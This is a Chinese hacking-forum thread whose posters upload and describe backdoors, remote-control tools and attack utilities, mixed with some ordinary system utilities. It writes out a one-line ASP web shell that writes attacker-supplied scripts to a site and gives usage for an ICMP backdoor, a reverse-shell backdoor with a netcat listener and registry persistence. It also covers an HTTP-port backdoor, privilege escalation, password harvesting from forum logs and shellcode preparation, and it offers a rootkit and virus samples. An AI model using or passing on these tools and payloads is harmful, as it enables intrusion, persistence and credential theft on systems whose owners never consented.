[TIPS]一些小体积的狠毒攻击或者后门类工具上传专帖
信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）注意：本帖只上传后门 键盘记录 远程连接 和 攻击工具以及辅助工具工具
目前Upload的权限限制严格 所以请不要灌水就好了：）
[b]工具要小而毒！[/b] 比起ncx.exe及ncx99.exe 这玩意有趣多了 Post by swords 本后门利用ICMP数据包进行通信，不开端口。安装成系统服务，开机自动运行。可以穿透一些防火墙。
icmpsrv.exe ：服务端程序，使用 -install（-remove御载）参数安装成服务。
icmpsend.exe ：客户端程序。使用icmpsend IP进行控制。
ICMP_Backdoor命令说明：
[[url]http://xxx.xxx.xxx/admin.exe[/url] -hacker.exe]
http下载文件，保存在目标主机\\system32\目录下，文件名为hacker.exe（可改）。参数hacker.exe，前面的“-”不能省去
[pslist] 列出远程主机的进程名称和pid
[pskill id] 杀进程号为id的进程
输入普通cmd命令，则远程主机执行相关命令。 binder2.exe 反弹式后门程序
在WEB的渗透测试中,我们经常会遇到主机端口被过滤的情况,虽然成功创建后门,但是连接不上,这时,这个反弹式后门也许能起上点作用.
用法:
1. 在本地机器监听一个端口:
netcat -vv -l -p 80
2. 通过webShell或是别的什么运行后门:
binder2 80 youIPadd
3. 本地监听端口将截获一个来自远程主机的cmd.
注意:
程序本身会创建一个自启动方法, 如果没有参数的命令,会连接默认IP和默认端口,这个exe默认的IP地址是内网地址10.24.9.100,端口7358.程序会复制自身到c:\winnt\下名为syslog.exe,并在HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 下创建启动键. 如果需要卸载,请使用 binder2 /kill 命令.(如果因权限问题,这些将不能执行,比如在wenshell中执行时.)
压缩包中含源码,建议按需更改代码后使用 IIS后门 使用方法：将本软件放在服务器上运行即可安装后门，通过IIS端口（一般是80）连接，可以穿透防火墙。 一个简单的命令行中的FTP服务程序，具有一般的FTP服务的功能，支持Pasv，Port两种模式，支持fxp,支持上传，下载，删除，建目录，远程执行等操作。最多允许128个连接，每个IP最多可以同时登陆三次，在180秒到210内都没有操作的话，会自动将连接用户断开。程序是支持断点再传的。 功能可以对开着web服务的防火墙机器。利用http端口重用技术，穿透防火墙，用法,在目标机器安装后，telnet ip 80端口就ok asp.net web后门代码（web shell）
前提是服务器上已经装了.net framework了。 在NT和2000下将任意用户提升到SYSTEM级别的权限的工具，具体用法以及源代码见压缩包内。 在知道SQL的用户名密码情况下执行命令的程序，用VC6写成，包括源代码 交换环境下的会话劫持(For windows2000)工具
windows2000 + winpcap2.3下运行。 数据库压力攻击工具 BST的FatBoy 远程信息刺探snmp 用法参照
[url]http://eviloctal.hackway.net/forum/read.php?tid=403[/url]
可以获得好多东西的 前提是有安全问题 IndexView 用来查看 index.dat的小东西... WebShell客户端（服务端仅一行代码）
作者：桂林老兵
只要在网站中的一个ASP文件中合乎语法要求的地方插上下面一段（分一行写入）
[code]<%If request("cmd")<>"" And request("path")<>"" then createobject("Scri"&"pting.FileSys"&"temObject").createTextFile(server.mappath(request("path"))).WriteLine request("cmd")%>[/code]
即可用本程序写任何脚本存到网站的任意可写目录。
下载地址：[url]http://www.gxgl.com/soft/ShellClient.exe[/url] 软件介绍
作 者：tankaiha[NE365]
日 期：2004-11-18
程序名称：特征码定位器CCL(Character Code Locator)
版 本：2.0.1
功 能：寻找出防病毒软件报警的PE文件(病毒、木马等)中恶意代码的位置
编译环境：WindowsXP+SP1，MASM32，RadASM2.1.0.1
运行环境：WindowsXP，Windows2000
软件性质：免费软件 Uptime 是一个适用于Windows NT系列操作系统（NT4/2K/XP/2003等）的命令行工具，它可以查看本地或者远程计算机（也必须是NT系列）的系统启动时间。这个工具没有49.7天的限制，也不依赖于系统日志。当然，如果想获取远程系统的启动时间，你需要那个系统的管理员密码。
提示：对于Windows XP/2003，如果远程系统的管理员口令为空，那么该系统无法获得其启动时间。这个不是本软件的BUG，而是Windows XP/2003的安全策略所导致的。
l0pht大哥的补充：
[quote]我只要用dos内部命令就可以了实现了 dir /T:A explorer.exe
你这里还有一些靠系统命令和功能就可以实现了，不用工具的话尽量不要用。[/quote] PowerDown 是一个运行于Windows NT/2K/XP/2003的命令行的工具（不支持win9x），用于注销/关机/重启/挂起/冬眠你的操作系统。执行之前它会请求你的确认，除非你使用 "-y" 的命令行参数以避免确认。 SiteDigger searches Google’s cache to look for vulnerabilities, errors, configuration issues, proprietary information, and interesting security nuggets on web sites. Efuzz is an easy to use fuzzer (Penetrationtesting tool) to search for unknown vulnerabillities in software (buffer overflows,format string vulns, integer overflows, command line overflows, ...).I code it, because I do not find an easy to use fuzzer application and I need a simple tool for vuln-research. I think spike is to complex to use for first stage penetration testing, but a very useful tool to find more complex vulns.
详细请看readme：） Blast is a small, quick TCP service stress test tool that does a large amount of work very quickly and can help spot potential weaknesses in your network servers. 焦点上看见的一个小东西 意思自然就是process list了 这是一个在获得管理员权限的帐号和密码的情况下，利用主机的Task Scheduler服务在主机上启动程序的小程序。
它的功能和流光种植者一样,只是我单独把它写出来了。如果你想在远程主机上启动程序，而又不想用流光，那么
你不妨试试这个小程序：）
SchedExec CopyLock is a small program that allows the replacement of one or many files
which are currently in use by the system or any other running process.
Click Add > Files to replace, select the new file and the destination folder,
click Apply, restart when invited to do so and that's it! 2055版本当中用于管理远程登录服务（Terminal Service）的系统文件（点此下载相关文件：termsrv2005.rar） MD5 Password Cracker
这是一个通过字典暴力破解md5散列值的工具。给出一
个密码列表，破解工具就会生成一个对应与每一个密码的
散列值的文件。事实上该工具是通过调用asm dll文件进行
工作的。所以破解的速度很快，在P4 2.4G的机子上可以达
到每分钟1200亿次。 一个xiaohuar收集的工具包 内含工具 3389.exe ascii.exe
CLEAN.EXE domain.exe elsave.exe FindPass.exe
Fport.exe FTPScan.exe httpsock.exe iecv15.exe
iget.vbs iis.vbs killftp.exe msfcbile.dll
mstsc.exe mstscax.dll mysqlfast.exe nc.exe
pipeadmin.exe pskill.exe pslist.exe pulist.exe
sc.exe servu.exe shutdown.exe SqlExec.exe
tftpd.exe wget.exe winshell.exe WSockExpert.exe
WSockExpert.ini WSockHook.dll xpass.exe xsniff.exe 工具使用说明：
这个工具是完全独立与IIS的后门，即使你的电脑上没有IIS也照样可以运行，而且整合了asp木马，让你为所欲为。
使用很简单，只需要将httpdoor.exe上传到远程主机上执行就可以了。
执行成功后，就会将后门安装成服务，访问时输入：
[url]http://www.target.com:8000/cmd.asp[/url]就可以了
当然自解压文件里的cmd.asp你可以自己改了，换成网上公布的网页木马都是可以的，但是要注意解压的设置里，解压后自运行的程序一定要为prep.bat。
作者：飘叶它乡(pye) QQ:94529184 写与2004-9-12
有什么使用上的问题，可以到我们的论坛提出，bbs.coon.cn 有数据库不用爆破md5啦了!
作者：7747.Net 文章来源：7747.Net
辅臣 数据库浏览器,利用它查找(我以动网为例)DV_LOG,在上面的查询的字段名里选l_content后面的 关键字填上pass,找到的 username2=%B7%E7%A4%CE%B0%D7%D2%C2&password2=01180017&username1=% B7%E7%A4%CE%B0%D7%D2%C2&Submit=%CC%ED+%BC%D3 这个种的,其它password2= 01180017就是他的前台或者后台的密码,如果是看到oldname开头的, 那么就是后台密码. 有的时候我在帮一些大型网站做"安全检查"之时, 这招非常有用,看到这篇后,或者大家也不会再 为下载数据库暴力破解不出而发悉了吧
ps: 这个也不是新鲜事情了。不过没有贴出来。估计还有朋友不知道。l_content。赫赫
辅臣数据库浏览器 Lion写的http ftp下载工具 Hacking的时候要用的 一个查看本机信息的小东西 特别详细 泪流满面 踏破铁鞋无觅处呀
牛B工具Filemon
找了好多年的东西了 02年就开始找 就是TM忘记名字了 自己写的小软件 VB代码，由于计算机硬盘故障导致代码全部丢失.还好之前把这个工具发给朋友,朋友一传十,十传百，又传回了自己的手里.
HUIE ASC编码器,注入的小帮手！
(谢谢exploit,我在你的下载站找到的) A simple UDP tunneling example coded in C++ AnalogX Script Defender will intercept any request to execute the most common scripting types used in virus attacks, such as Visual Basic Scripting (.VBS), Java Script (.JS), etc and can even be configured to intercept new script extensions as needed! It's very simple to use and helps to ensure that you do not inadvertently run a script no matter what email program you use, or even if you get it via another method. "empty.exe"是2003系统里的一个小工具，它可以释放指定程序在占用大量内存后不能及时释放的内存资源 防止网络钓鱼的IE插件 比较丑陋 但是很实用 信息来源：邪恶八进制
SInAR Solaris rootkit v0.2. Invisible kernel based rootkit for Solaris 8, 9, and 10.
下载地址： MacSpoof DB is a database of MAC prefixes for spoofing your MAC address in Linux. Ideal for in war driving situations. It comes with 7500+ available MAC prefixes, the ability to search and sort by company name or MAC prefix, and an option to pick from the results at random. It then sets the MAC accordingly. 1。首先把汇编语言代码用文本文件整理出来。首先除掉代码里面的prt,比如mov byte ptr [ebp-14h],'S' 就应该写成mov byte [ebp-14h],'S' 然后在第一行写上BITS 32 。再把后缀改称asm,比如code.asm
2。用nasm编译，命令如下nasm -s -fbin 2.asm 会生成一个名字叫2的dd
3。用工具ShellCode处理2，命令如下
shellcode 2
生成一个TheCode.txt里面有需要的shellcode
本压缩包中的程序由Navyseals收集处理以及编译，欢迎喜爱编程以及安全技术的朋友使用和传播，但是请保留说明图文的完整性。
Navyseals
QQ2972792
2004 年11月 /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// DasmX86.DLL 测试版本 1.0 说明
//
// 测试并修正错误后，我会给大家提供源码！(16位的代码没有测试，现在会有问题）
//
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
该DLL的5个导出函数:
long getversion(); //版本高16位主版本号低16位次版本号
char * getauthor(); //作者
int getbits(); //获取工作模式16/32位
void setbits(int bits);//设置工作模式16/32位 bits=16或32有效
int disassemble(unsigned long address,unsigned char *pBMC,char * pHIS,char * pHAS,long * pCIL,long * pNIO);//反汇编
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// 名称: int disassemble(unsigned long,unsigned char *,char *,char *,long *,long *)
//
// 功能: 反汇编字节序列
//
// 参数:
// 1. address 地址
// 2. pBMC (Binary Machie Code) 字节序列指针
// 3. pHIS (Hex Instruction String) HEX机器码字符串指针
// 4. pHAS (Hex Asmble String) ASM汇编语言字符串指针
// 5. pCIL (Current Instruction Length) 指令长度指针
// 6. pNIO 暂时保留
//
// 返回:
// 0 成功
// -1 错误
//
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Demo 利用disassemble函数对字节序列进行反汇编的调用例子
//
// pBMC 字节序列指针
//
// len 字节序列长度
//
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Demo(unsigned char *pBMC,int len)
{
char pHIS[256];
char pHAS[256];
long base=0x10003FD3;
long CIL=0,NIO=0;
long offset=0,address;
while(offset<len)
{
address=base+offset;
if(dissamble(address,pBMC+offset,pHIS,pHAS,&CIL,&NIO)==0)
{
offset+=CIL;
}
else
{
sprintf(pHIS,"%02X",pBMC[offset]);
sprintf(pHAS,"DB %02X",pBMC[offset]);
offset++;
}
printf("%08X %-25s %s\n",address,pHIS,pHAS);
}
} 申请126.com二级转向domain的一个小工具
看见了枫老三写了一篇文章 感觉太麻烦 于是这里上传一个去年11月的一个软件 希望对你们有帮助 直接免费申请
126.com的二级域名 Craagle : Now you can search anything, without falling into shit like toolbars, popups, spyware, adware, malware. You can also use a proxy to bypass Day Limit for some sites. Source Code over 100.000 characters (engine only, excluded gui). 新型CIH病毒样本（可执行文件）
警告：此文件带有危险性 本站只提供个人研究 您必须承诺不而已散播并且产生任何后果和邪恶八进制信息安全团队无关....
当您下载完成的同时 标志着接受了我们以上条款 配合运做的两个小工具 token.exe和findpass.exe 中华经典网络军刀 也就是nc的图形版本 非常实用 WIS WED
小榕编写
这里我们使用了图形调用方式来方便菜鸟使用 htran.exe
找他的人 一定知道是做什么的 呵呵，看样子是不用写来龙去脉了，其实也不晓得，反正我电脑上的
一些病毒文件，也有恶作剧类的，很久了，但也许有人对它感兴趣
有针对性，很早了，最早的可以早到 1992年了
先列下名：
AS-1604.COM
ATTENTIN.COM
B-560LIQ.COM
BADGUY2.COM
BW!687.COM
BW!732.COM
CA1704Y.COM
CAS-D.COM
CAZ.COM
CAZ-B.COM
Cmplifie.exe
DO.COM
DOOMII.COM
EMF.COM
ENDONE.COM
FLP2153E.COM
FUCKYOU.COM （这个文件名可能会被论坛屏蔽掉，F U c K y O u. COM）
HAHA.COM
INT1319A.EXE Remotley Format a Computer
页:
[1]
2